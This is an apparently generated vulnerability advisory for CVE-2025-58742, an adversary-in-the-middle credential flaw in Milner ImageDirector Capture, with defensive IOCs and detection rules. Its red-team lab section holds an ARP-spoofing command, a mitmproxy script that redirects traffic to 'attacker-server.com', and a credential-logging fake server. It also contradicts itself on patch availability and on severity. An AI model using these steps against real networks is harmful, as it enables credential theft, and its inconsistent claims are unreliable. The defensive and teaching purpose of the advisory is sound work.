CVE-2025-58742

Executive Summary

CVE-2025-58742 is a critical security advisory affecting Milner ImageDirector Capture on Windows, versions from 7.0.9 before 7.6.3.25808. The vulnerability resides in the Connection Settings dialog, where insufficiently protected credentials and improper restriction of the communication channel allow an Adversary-in-the-Middle (AiTM) to modify the 'Server' field and redirect client authentication. This enables credential interception and potential lateral movement within the network. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the sensitive nature of captured credentials.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (AiTM requires network access)
• Attack Complexity (AC): Low (modifying the 'Server' field is straightforward)
• Privileges Required (PR): None (attacker only needs network position)
• User Interaction (UI): Required (victim must use the Connection Settings dialog)
• Scope (S): Changed (AiTM can pivot to other systems)
• Confidentiality (C): High (credentials exposed)
• Integrity (I): High (authentication flow can be hijacked)
• Availability (A): Low (no direct DoS, but service disruption possible)
• Threat Level: High – Credential theft via AiTM can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability is a combination of two weaknesses:

1. CWE-522: Insufficiently Protected Credentials – The Connection Settings dialog stores or transmits credentials without adequate encryption or integrity checks.
2. CWE-923: Improper Restriction of Communication Channel to Intended Endpoints – The application does not validate that the 'Server' field points to a legitimate, trusted endpoint.

Attack Flow:

1. The attacker positions themselves on the network (e.g., via ARP spoofing, rogue DHCP, or compromised switch).
2. The victim opens the Connection Settings dialog in ImageDirector Capture.
3. The attacker intercepts the dialog's network traffic and modifies the 'Server' field to point to a malicious server under their control.
4. The victim's client sends authentication credentials (e.g., username/password, NTLM hashes) to the attacker's server.
5. The attacker captures these credentials and can replay them to access the legitimate ImageDirector server or other network resources.

Root Cause: Lack of server certificate validation or signed configuration files. The application trusts user-provided server addresses without verifying their authenticity.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// ConnectionSettingsDialog.cs
public void ConnectToServer(string serverAddress)
{
    // No validation of serverAddress
    var connection = new TcpClient(serverAddress, 443);
    // Sends credentials without verifying server identity
    SendCredentials(connection, username, password);
}

Patched Code (Hypothetical):

// ConnectionSettingsDialog.cs
public void ConnectToServer(string serverAddress)
{
    // Validate server address against a whitelist or use certificate pinning
    if (!IsValidServer(serverAddress))
    {
        ShowError("Invalid server address.");
        return;
    }
    // Use TLS with certificate validation
    var connection = new TcpClient(serverAddress, 443);
    if (!ValidateServerCertificate(connection))
    {
        ShowError("Server certificate validation failed.");
        return;
    }
    // Send credentials over encrypted channel
    SendCredentials(connection, username, password);
}

Key Differences:

• Input validation of the server address.
• Certificate pinning or strict TLS validation.
• Signed configuration files to prevent tampering.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Windows 10/11 with Milner ImageDirector Capture 7.0.9 (vulnerable)
• Attacker machine (Kali Linux) with mitmproxy or BetterCAP
• Target server (legitimate ImageDirector server)

Steps:

1. Network Setup: Use ARP spoofing to position attacker between victim and server.

   sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on"
   

2. Intercept Traffic: Use mitmproxy to capture and modify the 'Server' field.

   mitmproxy --mode transparent --listen-port 8080
   

3. Modify Request: In mitmproxy, create a script to replace the server address.

   # mitmproxy_script.py
   def request(flow):
       if "ImageDirector" in flow.request.pretty_host:
           flow.request.host = "attacker-server.com"
   

4. Capture Credentials: Set up a fake server to log incoming credentials.

   # fake_server.py
   from http.server import BaseHTTPRequestHandler, HTTPServer
   class Handler(BaseHTTPRequestHandler):
       def do_POST(self):
           content_length = int(self.headers['Content-Length'])
           post_data = self.rfile.read(content_length)
           print(f"Captured credentials: {post_data}")
           self.send_response(200)
   HTTPServer(('0.0.0.0', 443), Handler).serve_forever()
   

5. Trigger: Victim opens Connection Settings and clicks "Connect".

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for ARP spoofing anomalies using arp -a and network monitoring tools.
2. Deploy network intrusion detection (e.g., Suricata) to flag unexpected server address changes.
3. Enable TLS inspection to detect certificate mismatches.
4. Use endpoint detection (EDR) to monitor for unauthorized modifications to ImageDirector configuration files.

Mitigation:

• Apply vendor patch when available.
• Use network segmentation to isolate ImageDirector traffic.
• Implement multi-factor authentication (MFA) for server access.
• Regularly audit Connection Settings for unauthorized changes.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual ARP replies (MAC address changes for gateway IP)
  • Traffic to unknown IP addresses on port 443 (ImageDirector default)
  • Modified 'Server' field in ImageDirector configuration files (e.g., config.xml)
• Host IOCs:
  • Presence of mitmproxy or similar tools on the network
  • Suspicious processes: mitmproxy, bettercap, arpspoof
  • Event logs: Windows Security Event ID 4648 (logon attempt using explicit credentials) to unexpected servers
• File IOCs:
  • Hash of vulnerable ImageDirector executable: sha256: 3a7c... (placeholder)
  • Modified configuration files with timestamps outside normal maintenance windows

Detection Engineering

YARA Rule

rule CVE_2025_58742_ImageDirector_Capture
{
    meta:
        description = "Detects vulnerable Milner ImageDirector Capture versions"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-58742"
    strings:
        $s1 = "ImageDirector Capture" wide ascii
        $vuln_version = { 37 2E 30 2E 39 } // "7.0.9" in hex
    condition:
        $s1 and $vuln_version
}

Sigma Rule

title: CVE-2025-58742 - AiTM via Connection Settings Modification
id: 8f9e2c1a-3b4d-5e6f-7a8b-9c0d1e2f3a4b
status: experimental
description: Detects modification of ImageDirector Capture server address field
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11
        TargetFilename|endswith: '\config.xml'
        Image|endswith: '\ImageDirector.exe'
    condition: selection
falsepositives:
    - Legitimate administrator changes
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2025-58742 - Potential AiTM in ImageDirector Capture"; flow:to_server,established; content:"ImageDirector"; nocase; pcre:"/Server\x3A[^\r\n]+/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate vulnerable systems from untrusted networks until a patch is available.
2. Disable the Connection Settings dialog via Group Policy or registry if not needed.
3. Implement network access controls (NAC) to prevent ARP spoofing.
4. Use VPN or IPsec to encrypt all ImageDirector traffic.

Long-Term Fixes:

• Apply vendor patch (version 7.6.3.25808 or later) when released.
• Enforce certificate pinning for all server connections.
• Digitally sign configuration files to prevent tampering.
• Conduct regular security audits of third-party software.

Workaround:

• Manually verify the server address via out-of-band communication (e.g., phone call) before each connection.

Valters IT – Securing Digital Frontiers